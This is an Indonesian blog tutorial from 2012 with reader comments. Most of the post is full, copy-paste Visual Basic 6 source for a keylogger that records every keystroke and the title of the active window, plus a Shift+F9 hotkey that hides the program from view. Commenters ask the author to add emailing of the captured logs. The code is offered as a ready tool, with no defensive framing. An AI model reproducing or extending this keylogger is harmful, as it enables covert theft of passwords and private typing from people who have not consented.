Membuat Key Logger Dengan Visual Basic

Written By δικα ςταΓκεγ on Rabu, 28 Maret 2012 | 23.27

Assalamualaikum wr wb, Salam sejahtera sobat blogger...
Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan...

  1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
  2. Buka program Visual Basic
  3. New Project Standard EXE


  4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)




  5. Copas semua Code di bawah ini

    ' ############### Starkey - logger #############
    ' ############### (c) starkey 2012 #############
    ' ####http://starkey-magazine.blogspot.com/#####


    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Declare Function GetForegroundWindow Lib "user32" () As Long
    Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
    Private hForegroundWnd As Long
    Private backs As Boolean

    Private Sub Command1_Click()
    Timer1.Enabled = True
    End Sub

    Private Sub Command2_Click()
    Timer1.Enabled = False
    End Sub

    Private Sub Command3_Click()
    backs = True
    End Sub

    Private Sub Command4_Click()
    backs = False
    End Sub

    Private Sub Form_Load()
    backs = True
    End Sub


    Private Sub Label1_Click()

    End Sub

    Private Sub Label4_Click()

    End Sub

    Private Sub Label6_Click()
    Timer1.Enabled = True
    End Sub

    Private Sub Label7_Click()
    Timer1.Enabled = False
    End Sub

    Private Sub Label8_Click()
    backs = True
    End Sub

    Private Sub Label9_Click()
    backs = False
    End Sub

    Private Sub Text1_Change()
    Text1.SelStart = 0
    Text1.SelLength = Len(Text1.Text)
    End Sub



    Private Sub Timer1_Timer()

    Dim x, x2, i, t As Integer
    Dim win As Long
    Dim Title As String * 1000

    win = GetForegroundWindow()
    If (win = hForegroundWnd) Then
    GoTo Keylogger
    Else
    hForegroundWnd = GetForegroundWindow()
    Title = ""

    GetWindowText hForegroundWnd, Title, 1000


    Select Case Asc(Title)

    Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
    Text1.Text = Text1.Text & vbCrLf & vbCrLf & "[ " & Title
    Text1.Text = Text1.Text & " ]" & vbCrLf
    End Select

    End If

    Exit Sub

    Keylogger:

    For i = 65 To 90

    x = GetAsyncKeyState(i)
    x2 = GetAsyncKeyState(16)


    If x = -32767 Then

    If x2 = -32768 Then
    Text1.Text = Text1.Text & Chr(i)
    Else: Text1.Text = Text1.Text & Chr(i + 32)
    End If

    End If

    Next

    For i = 8 To 222

    If i = 65 Then i = 91

    x = GetAsyncKeyState(i)
    x2 = GetAsyncKeyState(16)


    If x = -32767 Then

    Select Case i

    Case 48
    Text1.Text = Text1.Text & IIf(x2 = -32768, ")", "0")
    Case 49
    Text1.Text = Text1.Text & IIf(x2 = -32768, "!", "1")
    Case 50
    Text1.Text = Text1.Text & IIf(x2 = -32768, "@", "2")
    Case 51
    Text1.Text = Text1.Text & IIf(x2 = -32768, "#", "3")
    Case 52
    Text1.Text = Text1.Text & IIf(x2 = -32768, "$", "4")
    Case 53
    Text1.Text = Text1.Text & IIf(x2 = -32768, "%", "5")
    Case 54
    Text1.Text = Text1.Text & IIf(x2 = -32768, "^", "6")
    Case 55
    Text1.Text = Text1.Text & IIf(x2 = -32768, "&", "7")
    Case 56
    Text1.Text = Text1.Text & IIf(x2 = -32768, "*", "8")
    Case 57
    Text1.Text = Text1.Text & IIf(x2 = -32768, "(", "9")

    Case 112: Text1.Text = Text1.Text & " F1 "
    Case 113: Text1.Text = Text1.Text & " F2 "
    Case 114: Text1.Text = Text1.Text & " F3 "
    Case 115: Text1.Text = Text1.Text & " F4 "
    Case 116: Text1.Text = Text1.Text & " F5 "
    Case 117: Text1.Text = Text1.Text & " F6 "
    Case 118: Text1.Text = Text1.Text & " F7 "
    Case 119: Text1.Text = Text1.Text & " F8 "
    Case 120: Text1.Text = Text1.Text & " F9 "
    Case 121: Text1.Text = Text1.Text & " F10 "
    Case 122: Text1.Text = Text1.Text & " F11 "
    Case 123: Text1.Text = Text1.Text & " F12 "

    Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, "|", "\")
    Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, "<", ",")
    Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, "_", "-")
    Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, ">", ".")
    Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, "?", "/")
    Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, "+", "=")
    Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, ":", ";")
    Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), "'")
    Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, "{", "[")
    Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]")
    Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, "~", "`")


    Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) - 1)
    Case 9: Text1.Text = Text1.Text & " [ Tab ] "
    Case 13: Text1.Text = Text1.Text & vbCrLf
    Case 17: Text1.Text = Text1.Text & " [ Ctrl ]"
    Case 18: Text1.Text = Text1.Text & " [ Alt ] "
    Case 19: Text1.Text = Text1.Text & " [ Pause ] "
    Case 20: Text1.Text = Text1.Text & " [ Capslock ] "
    Case 27: Text1.Text = Text1.Text & " [ Esc ] "
    Case 32: Text1.Text = Text1.Text & " "
    Case 33: Text1.Text = Text1.Text & " [ PageUp ] "
    Case 34: Text1.Text = Text1.Text & " [ PageDown ] "
    Case 35: Text1.Text = Text1.Text & " [ End ] "
    Case 36: Text1.Text = Text1.Text & " [ Home ] "
    Case 37: Text1.Text = Text1.Text & " [ Left ] "
    Case 38: Text1.Text = Text1.Text & " [ Up ] "
    Case 39: Text1.Text = Text1.Text & " [ Right ] "
    Case 40: Text1.Text = Text1.Text & " [ Down ] "
    Case 41: Text1.Text = Text1.Text & " [ Select ] "
    Case 44: Text1.Text = Text1.Text & " [ PrintScreen ] "
    Case 45: Text1.Text = Text1.Text & " [ Insert ] "
    Case 46: Text1.Text = Text1.Text & " [ Del ] "
    Case 47: Text1.Text = Text1.Text & " [ Help ] "
    Case 91, 92: Text1.Text = Text1.Text & " [ Windows ] "

    End Select


    End If

    Next

    End Sub


    Private Sub Timer2_Timer()
    Dim a, b, x As Long
    a = GetAsyncKeyState(120)
    b = GetAsyncKeyState(121)
    x = GetAsyncKeyState(16)
    If a = -32767 And x = -32768 Then Me.Hide
    If b = -32767 And x = -32768 Then Me.Show
    End Sub

  6. Jalankan dengan menekan tombol F5
Live demo bisa di download disini :



Semoga bermanfaat, wassalam...

15 komentar:

Hadi Safa'at mengatakan...

lek iso kirim email tambahmantep iki :D

Anonim mengatakan...

mantep kak, ijin download yoo :P

Anonim mengatakan...

mantab................

eliash mengatakan...

koment dulu ntar coba bikinnnya laporan bugs menyusul, mantap tutorial jelas tapi cara penggunaannya gak jelas hehehe...

ari ardhian mengatakan...

setuju ama om Hedi...

tp boleh dicoba,..ijin sedot gan,..

Unknown mengatakan...

nice info gan.. ijin coba ya.. jgn lupa berkunjung ke tempat saya gan

http://trickandroid.blogspot.com/

Alter_Ego mengatakan...

iya mas...maaf, kalo bisa kirim k email dan juga tutor nya ala newbie ajj gan jadi biar yg memang ga' tau seperti saia bisa lebih jelas mengerti x dan juga biar jadi bahan pembelajaran yang baik.
good job

Unknown mengatakan...

waw keylog :takut :D
asik bisa di coba ni mas[TER]
buat belajar ^^

Unknown mengatakan...

Setiap orang mencoba mencapai suatu hal yang besar, tanpa menyadari, bahwa hidup itu adalah kumpulan dari hal-hal kecil.

lanjutkan om dika.. :)

ane ijin baca sourcenya sambil ngaransemen ulang.. :))

lanjutkan....

Unknown mengatakan...

hay alyaa ^_^

δικα ςταΓκεγ mengatakan...

Hee... makasih buat masukannya :D Buat temen2 yang mahir VB seperti Root Hexblank, silahkan di kembangkan...

Unknown mengatakan...

beb @seheries, @heru...
aku mau di anu sama om jahat ini :3

šëHëR!êž Hⁿc mengatakan...

bbebb ada yg bisa hek hati ku nga :)

Unknown mengatakan...

gk ada beb, si TS cuma bisa mencuri sempak tetangga

Wakwaw mengatakan...

bos ko kaga bisa kode

Posting Komentar

 
dhika_starkey